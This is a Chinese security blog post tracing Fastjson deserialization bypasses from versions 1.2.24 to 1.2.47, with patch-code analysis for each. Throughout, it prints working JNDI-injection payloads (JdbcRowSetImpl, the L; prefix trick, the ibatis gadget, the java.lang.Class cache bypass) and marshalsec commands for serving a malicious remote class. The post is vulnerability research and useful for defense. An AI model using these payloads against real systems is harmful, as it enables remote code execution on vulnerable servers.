Kingkk's Blog.

Fastjson反序列化漏洞 1.2.24-1.2.48

2019/07/25 Share

Fastjson中的利用方式

讲漏洞前先来说下一些利用方式

来看下第一次漏洞的Poc,一个JNDI注入的利用

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

个人理解就是,JdbcRowSetImpl这个类的dataSourceName支持传入一个rmi的源。

当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。

当远程rmi服务找不到对应方法时,可以指定一个远程class让请求方去调用,从而去获取我们恶意构造的class文件,从而RCE。

还有过程类似的LDAP利用方式

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}"

可以用https://github.com/mbechler/marshalsec 很方便的启这两个服务

1
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/test/#Exploit
1
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Exploitt

需要注意的来了,这两种利用方式有java版本限制(一开始坑死我了)

  • 基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
  • 基于ldap的利用方式:适用jdk版本:JDK 11.0.18u1917u2016u211之前。

因为java官方觉得让服务去请求远程的类的确是一个很危险的操作,所以在后来的版本中默认将这个功能关掉了。

可以看到ldap的利用范围是比rmi要大的,所以更推荐ldap的利用方式。

Fastjson 反序列化历程

1.2.24

修复前

类似于Jackson,Fastjson中也支持指定类的反序列化,只需要在json的key中添加@type即可。

但是一开始Fastjson是默认支持这个属性的,就是默认就可以反序列化任意类,自然而然地漏洞也就来了。

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
1
2
payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\", \"autoCommit\":true}";
JSONObject.parseObject(payload);

就可以成功反序列化RCE,无需别的前置条件

修复后

再运行上面那段代码就会爆出这条错误

跟进可以看到新增了checkAutoType这个函数

可以看到我们这里的操作是被黑名单给拦截了

1
2
3
4
5
6
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

不仅如此,fastjson还默认关闭了反序列化任意类的操作,需要手动开启才行。

https://github.com/alibaba/fastjson/wiki/enable_autotype

1.2.42

修复前

这时候出现了第一次补丁的绕过(实际跟着看了下,发现其实好简单!)

在后面的TypeUtils.loadClass真正加载class类时,有这样一段代码

1
2
3
4
5
6
7
8
9
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

可以看到在黑名单检测之后,当开头有[或者L;时会去掉这些字符,从而造成了黑名单的绕过

所以可以通过如下方式进行攻击,不过需要手动开启autoType,至少相较于第一版的危害范围要小一些。(实测用[时解析会报错。

1
2
3
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\", \"autoCommit\":true}";
JSONObject.parseObject(payload);

修复后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

大致意思就是,假如开头和结尾是L;就将头和尾去掉,再进行黑名单验证

还将之前的黑名单验证变成了hash的方式,防止安全人员进行研究

感觉这个确实好好绕过,再加一层L;不就可以了。

1
LLcom.sun.rowset.JdbcRowSetImpl;;

1.2.43

由于上个补丁的愚蠢方式,所以很快又出了这个补丁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

开头两个LL就会被抛出异常(好简洁暴力。。)

1.2.45

这回的绕过是黑名单被绕过,新增了个org.apache.ibatis.datasource.jndi.JndiDataSourceFactory的黑名单,由于在项目中使用的频率也较高,所以影响范围也比较大。

payload

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}}

1.2.47

修复前

在后面的防御便是不断的添加黑名单列表,此时推荐大佬的项目,通过黑名单hash找到对应的类名

https://github.com/LeadroyaL/fastjson-blacklist

直到后来有一天,宁静的日子被打破,又出现了一个通杀洞,无需开启autotype通杀。(小声bb一句hw期间出了好多大洞

1
2
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\",\"autoCommit\":true}}}";
JSONObject.parseObject(payload);

可以来看下这个json

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}

据说其实这个payload一开始是被分为两段来打的,后来老哥们发现可以合成一段来发送,就避免了LB的干扰,导致payload打到不同的服务器。

可以一起来看下到底是怎么绕过autotype和黑名单验证的。

一开始反序列化的是java.lang.Class这个类,调试跟进可以看到是从checkAutoType这一段代码中获取到的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

这个deserializers在一开始会对其中放入许多常用的类

1
2
3
private void initDeserializers() {
... // 太多了,就不贴了
}

然后在紧跟的代码中就直接返回了,还没到原本autoTypeSupport的判断。猜测本意是让Fastjson可以任意序列化一些基础的类。然后通过java.lang.Class获取到了com.sun.rowset.JdbcRowSetImpl类,然后重点来了。

loadClass中,可以看到假如cache为true,就会把获取到的类缓存到mapping中(应该是为了提高效率)

1
2
3
4
5
6
7
8
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}

然而这个cache在传入的时候默认就是true

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

于是,触发到第二段payload的时候,在checkAutoType函数中,就直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

然后也是一样在还没有判断黑名单和com.sun.rowset.JdbcRowSetImpl的验证之前就return了。

修复后

将之前的loadClass中默认cache设置成了false。

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, false);
}

所以在第一次获取到com.sun.rowset.JdbcRowSetImpl这个类之后就不会缓存,到第二次的payload时也就取不到缓存的类,也就会进入到黑名单和com.sun.rowset.JdbcRowSetImpl的验证中了。

References

https://www.freebuf.com/vuls/208339.html

https://p0sec.net/index.php/archives/123/

https://github.com/earayu/fastjson_jndi_poc 漏洞环境

CATALOG
  1. 1. Fastjson中的利用方式
  2. 2. Fastjson 反序列化历程
    1. 2.1. 1.2.24
      1. 2.1.1. 修复前
      2. 2.1.2. 修复后
    2. 2.2. 1.2.42
      1. 2.2.1. 修复前
      2. 2.2.2. 修复后
    3. 2.3. 1.2.43
    4. 2.4. 1.2.45
    5. 2.5. 1.2.47
      1. 2.5.1. 修复前
      2. 2.5.2. 修复后
  3. 3. References